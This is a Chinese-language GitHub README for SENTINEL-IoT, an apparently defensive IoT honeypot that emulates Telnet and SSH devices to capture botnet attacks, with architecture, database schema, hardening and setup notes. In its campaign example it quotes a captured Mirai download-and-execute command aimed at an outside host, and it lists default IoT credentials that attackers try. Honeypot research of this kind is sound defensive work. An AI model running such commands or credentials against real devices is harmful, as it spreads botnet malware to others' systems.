AnandBinuArjun/SENTINEL-IOT
GitHub: AnandBinuArjun/SENTINEL-IOT
一个轻量级物联网蜜罐平台,用于模拟脆弱设备、捕获僵尸网络攻击并生成实时威胁情报。
Stars: 17 | Forks: 2
# SENTINEL-IoT
### 全球物联网僵尸网络早期预警传感器网络

**开发者:** [Anand Binu Arjun](https://anandbinuarjun.live/)
**代码仓库:** [https://github.com/AnandBinuArjun/SENTINEL-IOT](https://github.com/AnandBinuArjun/SENTINEL-IOT)
## 📜 目录
- [为什么存在这个项目](#-why-this-exists)
- [与众不同之处](#-what-makes-this-different)
- [实时产生的威胁情报](#-live-intelligence-produced)
- [架构与技术栈](#-architecture--tech-stack)
- [检测面](#-detection-surface)
- [实时攻击活动示例](#-example-live-campaign)
- [杀伤链模型](#-kill-chain-model)
- [公共威胁情报源与数据库](#-public-threat-feed--database)
- [伦理与法律模型](#-ethical--legal-model)
- [VPS 加固模型](#-vps-hardening-model)
- [安装、配置与使用](#-installation-configuration--usage)
- [未来路线图](#-future-roadmap)
## 🚨 为什么存在这个项目
互联网上充斥着自动化恶意软件(如 Mirai、Gafgyt、Mozi),它们 24/7 不间断地扫描易受攻击的物联网设备。传统防火墙只是阻挡这些流量——虽然能检测到,但无法从中学习。攻击者不断进化,在几分钟内就能改变 IP 地址和攻击载荷。
**SENTINEL-IoT** 颠覆了这一模式。它不是阻挡攻击,而是 **邀请** 攻击。它模拟一个易受攻击的摄像头、路由器或 DVR,让攻击者得以“入侵”。一旦进入,每一次按键、命令以及下载的恶意软件二进制文件都会被静默捕获、分析和指纹识别。
这将噪音转化为 **情报**,为防御者提供受感染设备的 IP 地址,*甚至早于*这些设备能对高价值目标发动攻击的时间。
## ⚡ 与众不同之处
大多数蜜罐系统复杂、笨重或纯属学术研究。SENTINEL-IoT 专为 **高保真度的生产环境部署** 而配置:
1. **轻量级核心**:可在每月 5 美元的 VPS 或 Raspberry Pi (Zero/3/4) 上运行,资源占用极小。
2. **混合欺骗技术**:同时模拟 **Telnet** (23) 和 **SSH** (22)——这两个最常被物联网恶意软件利用的入口。
3. **毛玻璃 UI 设计**:一个令人惊艳的实时仪表板,看起来像 SOC 屏幕,专为安全中心的大型显示器设计。
4. **集成恶意软件下载器**:自动识别 `wget`/`curl` 命令,剥离参数,并安全地下载恶意软件样本以供逆向工程。
5. **智能日志记录**:采用双重日志策略(SQLite 用于实时应用访问 + 文本文件用于可靠的冷存储)。
## 🧠 实时产生的威胁情报
该系统作为一个被动的情报收集节点,产生三种不同类型的威胁情报:
1. **源头情报('谁')**
- 暴力破解攻击的来源。
- 识别受感染的家用路由器与防弹主机托管服务。
- 攻击频率和持续性跟踪。
2. **凭据情报('如何')**
- 攻击者当前正在尝试的弱用户名/密码字典。
- *真实示例:*`admin:1234`(通用),`root:xc3511`(Dahua DVR),`realtek:realtek`(路由器芯片)。
3. **攻击载荷情报('什么')**
- Shell 脚本(`.sh`)。
- 二进制文件 URL(`http://malware.srv/bins/arm7`)。
- 特定僵尸网络家族(Mirai, Tsunami, Hajime)的命令序列。
## 🏗 架构与技术栈
系统由三个解耦的微服务组成,通过本地 SQLite 桥接进行通信。
```
graph TD
Attacker[Attacker / Botnet] -->|Telnet :2323| TelnetSensor[Telnet Emulator]
Attacker -->|SSH :2222| SSHSensor[SSH Emulator]
TelnetSensor -->|Log Attack| SQLite[(Shared Intel DB)]
TelnetSensor -->|Backup Log| TextLogs[Flat Files]
SSHSensor -->|Log Attack| SQLite
SSHSensor -->|Backup Log| TextLogs
SQLite -->|Read Stats| API[FastAPI Backend]
API -->|JSON Feed| Dashboard[Flask Web UI]
Dashboard -->|View| Analyst[Security Analyst]
```
### 技术信息
- **模拟器**:纯 Python 3.10+,使用 `socket` 和 `paramiko`。无需外部系统二进制文件。
- **后端**:`FastAPI`(高性能异步 I/O)。
- **前端**:`Flask` + `Jinja2` + 原生 CSS(毛玻璃设计系统)。
- **数据库**:`SQLite3`(支持 WAL 模式,零配置)。
- **环境**:通过 `.env` 文件配置管理(遵循 12-Factor App 原则)。
## 🎯 检测面
SENTINEL-IoT 模拟以下“哑”设备,以专门吸引针对这些设备的恶意软件:
| 服务 | 端口 | 模拟角色 | 目标恶意软件 |
| :--- | :--- | :--- | :--- |
| **Telnet** | 23/2323 | BusyBox/Linux 路由器 | Mirai, Gafgyt, Qbot |
| **SSH** | 22/2222 | Ubuntu 服务器 / OpenWRT | 加密货币挖矿程序, Tsunami, 隐形加载器 |
| **HTTP** | 80/8080 | *(计划中)* Web 面板 | Log4j, 摄像头管理面板 |
*注意:系统默认使用高端口(2222/2323)以无需 root 权限运行。您可以使用 `iptables` 或路由器端口转发将这些端口映射到 22/23。*
## 📝 实时攻击活动示例(真实数据)
*由 SENTINEL-IoT 节点于 2026-01-11 捕获:*
**1. 试探(暴力破解)**
**2. 入侵(Shell 命令)**
```
enable
shell
sh
/bin/busybox MIRAI
```
*攻击者尝试检查 shell 是否为特定的 Busybox 版本。*
**3. 投递(恶意软件下载)**
```
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://103.14.x.x/bins/mirai.arm7; chmod 777 mirai.arm7; ./mirai.arm7
```
*此时,SENTINEL-IoT 会拦截该 URL,将文件下载到沙箱中,计算其哈希值(SHA-256),并在执行前终止连接。*
## ⛓ 杀伤链模型
SENTINEL-IoT 故意在 **网络杀伤链** 的前三个阶段运作:
1. **侦察**:检测扫描开放端口的 IP 地址。
2. **武器化**:捕获使用的具体漏洞利用载荷或密码组合。
3. **投递**:拦截恶意软件二进制文件的投递。
**干预点:**
我们在第 4 阶段(利用)进行干预。我们 **不** 执行恶意软件(安装),也不允许其联系 C2(命令与控制)服务器。这既保护了您的基础设施,也防止蜜罐参与 DDoS 攻击。
## 🌐 公共威胁情报源与数据库
### API 访问
系统暴露了一个轻量级 API,用于与其他安全工具(SIEM、SOAR)集成。
- **摘要情报源**:`http://:8000/dashboard/stats`
- **热门 IP 情报源**:`http://:8000/feed/ips`
### 数据库结构 (`intel.db`)
支持直接 SQL 访问,用于高级分析。
**表:`attacks`**
| 列名 | 类型 | 描述 |
| :--- | :--- | :--- |
| `id` | INTEGER | 主键 |
| `ip` | TEXT | 攻击者源 IP |
| `type` | TEXT | 攻击类型 / 服务 (ssh, telnet) |
| `timestamp` | TEXT | UTC ISO 8601 时间戳 |
**表:`malware`**
| 列名 | 类型 | 描述 |
| :--- | :--- | :--- |
| `hash` | TEXT | 下载二进制文件的 SHA-256 哈希值 |
| `family` | TEXT | 恶意软件家族猜测(如 Mirai) |
| `timestamp` | TEXT | 捕获时间 |
## 🛡 伦理与法律模型部署
- **仅被动交互**:我们绝不进行反击。我们只监听发送给我们的流量。
- **不收集 PII**:我们不收集个人数据;只收集机器生成的攻击流量。
- **隔离**:恶意软件绝不被执行。它被下载到一个非可执行目录(`sample_binaries/`)仅用于静态分析。
- **ISP 合规性**:系统设计为低噪声出站。它不进行出站扫描,确保您不会因滥用行为被 ISP 标记。
## 🔒 VPS 加固模型
在将此系统部署到公共互联网之前,请确保您的主机是安全的:
1. **隔离**:在 Docker 容器或专用虚拟机中运行。
2. **防火墙**:
- 允许入站:2222(传感器)、2323(传感器)、5000(仪表板)、8000(API)。
- **阻止出站**:端口 25(SMTP)、445(SMB),以防信息泄露。
3. **主机密钥管理**:用于 SSH 的 `host.key` 在首次运行时唯一生成,以防指纹识别。**请勿将此密钥提交到 Git。**
## 💻 安装、配置与使用
### 1. 统一启动 (Windows) - **推荐**
双击 `start_all.bat`。它会处理环境激活和进程执行。
### 2. 手动安装 (Linux/Mac/手动 Windows)
```
# 克隆 repo
git clone https://github.com/AnandBinuArjun/SENTINEL-IOT.git
cd SENTINEL-IOT
# 设置 Environment
pip install -r requirements.txt
# 配置 Environment
cp .env.example .env
nano .env # Edit your secrets and ports
# 运行 Components(在独立终端或通过 Screen/Tmux)
python backend/api.py
python dashboard/app.py
python sensor/services/telnet_emulator.py
python sensor/services/ssh_emulator.py
```
### 3. 配置 (`.env`)
| 变量 | 默认值 | 描述 |
| :--- | :--- | :--- |
| `HOST_IP` | 0.0.0.0 | 绑定地址。仅本地访问可使用 127.0.0.1。 |
| `DASHBOARD_PORT` | 5000 | Web UI 的端口。 |
| `API_PORT` | 8000 | 后端 API 的端口。 |
| `DB_PATH` | backend/intel.db | SQLite 数据库的位置。 |
### 4. 访问
- **仪表板**:`http://localhost:5000`
- **API 文档**:`http://localhost:8000/docs`(由 FastAPI 自动生成)
## 🔮 未来路线图
- [ ] **Docker 支持**:提供 `docker-compose.yml` 文件实现一键部署。
- [ ] **GeoIP 集成**:在仪表板上将攻击映射到国家。
- [ ] **Discord Webhooks**:为高优先级事件提供实时警报。
- [ ] **Ja3 指纹识别**:高级 SSH 客户端指纹识别。
*本项目仅用于教育和防御研究目的。请负责任地使用。*
标签:API哈希动态解析, Gafgyt检测, IoT安全, Mirai分析, 传感器网络, 僵尸网络检测, 公共威胁馈送, 威胁情报, 威胁数据库, 实时可视化, 开发者工具, 恶意软件捕获, 攻击捕获, 早期预警系统, 物联网安全, 玻璃态设计, 网络安全监控, 蜜罐网络, 设备模拟, 诱饵技术, 逆向工具, 驱动开发